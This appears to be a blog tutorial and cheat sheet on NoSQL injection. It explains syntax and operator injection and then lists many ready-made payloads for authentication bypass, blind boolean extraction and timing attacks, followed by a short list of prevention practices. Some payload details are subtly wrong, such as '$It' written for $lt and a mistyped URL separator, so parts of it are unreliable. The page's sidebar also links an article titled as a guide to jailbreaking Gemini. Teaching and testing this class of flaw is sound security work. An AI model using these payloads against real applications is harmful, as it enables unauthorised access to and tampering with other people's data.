...
Write
OneWriteup
  • Login
  • Register
  • Trending
  • Articles
  • Blog
  • Tutorials
  • News
  • Research
  • Top 10 Lists
  • Case Studies
  • Writeup
  • Interviews
  • Personal Stories
  • Infographics
No Result
View All Result
  • Trending
  • Articles
  • Blog
  • Tutorials
  • News
  • Research
  • Top 10 Lists
  • Case Studies
  • Writeup
  • Interviews
  • Personal Stories
  • Infographics
No Result
View All Result
OneWriteup
No Result
View All Result

NoSQL Injection Complete Guide, Types, Examples, Cheat Sheet

FOUNDER by FOUNDER
July 18, 2024
Reading Time: 6 mins read
36
0
Share on FacebookShare on Twitter

What is NoSQL Injection?

NoSQL injection is a security vulnerability which is found on web application that are using NoSQL databases.

It is somewhere related to SQL Injection which can allow attackers to bypass authentication, extract the data, edit the data or  execute any malicious code in the database server.

Steps to Perform a NoSQL Injection Attack

  1. Identify the NoSQL Database
  2. Understand the Query Language
  3. Inject Malicious Payloads
  4. Monitor for Errors or Changes

Types of NOSQL Injection

There are mainly 2 types of NoSQL Injection

1. Syntax Injection

It involves breaking the NoSQL query that somehow trigger  a database error or some other detectable behavior which is unusual. It can be done by injecting additional characters or structures into the query to alter its intended syntax.

Example :

Consider a query to authenticate a user based on their username and password:

db.users.find({ username: userInput, password: passwordInput });

If an attacker manipulates the input to inject additional syntax:

userInput = "admin' || '1'=='1"
passwordInput = "password"

The resulting query will be:

db.users.find({ username: "admin' || '1'=='1", password: "password" });

Explanation:

Here, '1'='1' is always true, which could potentially allow the attacker to bypass authentication.

2. Operator Injection

It involves injecting NoSQL operators into queries to modify their logic.

Commonly used operators in NoSQL injection vulnerabilities include:

  1. $eq = Equal to
  2. $ne = Not equal to
  3. $gt = Greater than
  4. $regex = Regular expression
  5. $It = Less than
  6. $in = Check if the required data is present in a data structure such as pointer or array, etc.

Example :

Consider a query to authenticate a user based on their username and password:

db.users.find({ username: userInput, password: passwordInput });

If an attacker manipulates the input by adding additional operators:

userInput = { $ne: null }
passwordInput = { $ne: null }

The resulting query will be:

db.users.find({ username: { $ne: null }, password: { $ne: null } });

Explanation
  • The $ne: null operator means “not equal to null”.
  • The query db.users.find({ username: { $ne: null }, password: { $ne: null } }) will match any document where the username is not null and the password is not null.

In most databases, it’s very likely that username and password fields will never be null for valid user records. Therefore, this query would match all user documents where both fields are not null, effectively bypassing the authentication logic.

 

What tools can help detect NoSQL injection vulnerabilities?

  1. NoSQLMAP
  2. Nosql-Exploitation-Framework
  3. BurpSuite
  4. NoSQLi
  5. Nosql injection username and password enumeration script

 

The exploits are based in adding an Operator:

username[$ne]=1$password[$ne]=1
username[$regex]=^adm$password[$ne]=1
username[$regex]=.{25}&pass[$ne]=1
username[$eq]=admin&password[$ne]=1
username[$ne]=admin&pass[$lt]=s
username[$ne]=admin&pass[$gt]=s
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7
{ $where: "this.credits == this.debits" }

Basic authentication bypass 

In URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true

In JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

ADVERTISEMENT

Syntax Injection Payloads

test||1==1

test%7C%7C1%3D%3D1

test||'1==1

test%7C%7C%271%3D%3D1

Blind Boolean Injection Payloads

{"$ne": -1}

{"$in": []}

{"$and": [ {"id": 5}, {"id": 6} ]}

{"$where": "return true"}

Timing Injection Payloads

{"$where": "sleep(100)"}

";sleep(100);"

Some most common payloads:

true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}

What are the best practices for preventing NoSQL injection attacks?

  1. Input Validation and Sanitization:
    • Thoroughly validate and sanitize all user input before using it in NoSQL queries.
    • Use regular expressions, whitelists, and other techniques to filter out malicious code and prevent it from being executed by the database.
  2. Parameterized Queries and Prepared Statements:
    • Use parameterized queries or prepared statements to separate user input from the actual query logic.
    • This prevents attackers from injecting malicious code directly into the query.
  3. Least Privilege Access Control:
    • Implement the principle of least privilege, granting users only the minimum necessary permissions to perform their tasks.
    • This limits the damage an attacker can do if they gain access to a compromised user account.
  4. Secure Coding Practices:
    • Ensure developers are familiar with the specific NoSQL database being used and its query language syntax.
    • Avoid using dangerous operators like $where that can execute arbitrary code.
  5. Regular Security Audits and Updates:
    • Regularly audit the application and database for potential vulnerabilities.
    • Keep the NoSQL database and related software up-to-date with the latest security patches.
  6. Input Encoding:
    • Encode user input to prevent special characters from being interpreted as part of the query syntax.
    • Use techniques like encodeURIComponent() for URLs or libraries like querystring for form data.
  7. Whitelist Allowed Characters:
    • Define a whitelist of allowed characters for user input and reject any input that contains characters outside this whitelist.
    • This helps prevent the injection of NoSQL operators and other special characters.
  8. Leverage Built-in Security Features:
    • Take advantage of the security features provided by the NoSQL database, such as access control, authentication, and authorization mechanisms.

By implementing these best practices, organizations can significantly reduce the risk of NoSQL injection attacks and protect their sensitive data from unauthorized access or manipulation.

ADVERTISEMENT
FOUNDER

FOUNDER

Cybersecurity aficionado committed to disseminating expertise, crafting articles that empower others to resolve errors and fortify online defenses with ease.

Recently Posted

Jailbreak Gemini 2.5 Pro: A Guide to CLI Access and Jailbreaking in Kali Linux

Jailbreak Gemini 2.5 Pro: A Guide to CLI Access and Jailbreaking in Kali Linux

July 20, 2025
122
HOW To BECOME AN ETHICAL HACKER ROADMAP

Free Cybersecurity Roadmap for Ethical Hacking Career in 2025

November 15, 2024
789
Top 4 Cyber attacks Commonly used for Hacking Websites!

Top 4 Cyber attacks Commonly used for Hacking Websites!

November 9, 2024
172
How to use bloodhound tool for pentesting

How to use Bloodhound / Sharphound for Pentesting Active Directory?

November 6, 2024
575
Load More

Leave a Reply Cancel reply

Your email address will not be published. Required fields are marked *

ADVERTISEMENT

Recommended

How I got $1000 bounty from X company?

How I Got $1000 Bounty From X-Company? (RCE +Authentication Bypass)

August 20, 2024
206
Jailbreak Gemini 2.5 Pro: A Guide to CLI Access and Jailbreaking in Kali Linux

Jailbreak Gemini 2.5 Pro: A Guide to CLI Access and Jailbreaking in Kali Linux

July 20, 2025
122

Popular Story

  • Download the Top 100 Free Cybersecurity Courses, Resources, and Study Materials for 2024

    Download the Top 100 Free Cybersecurity Courses, Resources, and Study Materials for 2024

    944 shares
    Share 378 Tweet 236
  • Jailbreak Gemini 2.5 Pro: A Guide to CLI Access and Jailbreaking in Kali Linux

    22 shares
    Share 9 Tweet 6
  • Termux Top 10 Most Powerful Tools in 2024

    352 shares
    Share 141 Tweet 88
  • How To Create Your Open Source SIEM Home Lab?

    141 shares
    Share 56 Tweet 35
  • Top 10 Ethical Hacking and Exam Prep Books: including free PDF links

    104 shares
    Share 42 Tweet 26
ADVERTISEMENT
OneWriteup

Discover expert cybersecurity articles, tutorials, and the latest trends to protect your digital world.

  • OneWriteup Labs
  • About Us
  • Feedback
  • Contact Us
  • Report
  • Privacy Policy
  • Community Guidelines
  • Terms Of Service

© 2024 OneWriteup

No Result
View All Result
  • Trending
  • Articles
  • News
  • Blog
  • Tutorials
  • Research
  • Top 10 Lists
  • Case Studies
  • Interviews
  • Login
  • Sign Up

© 2024 OneWriteup

Welcome Back!

Login to your account below

Forgotten Password? Sign Up

Create New Account!

Fill the forms below to register

All fields are required. Log In

Retrieve your password

Please enter your username or email address to reset your password.

Log In
Seraphinite AcceleratorOptimized by Seraphinite Accelerator
Turns on site high speed to be attractive for people and search engines.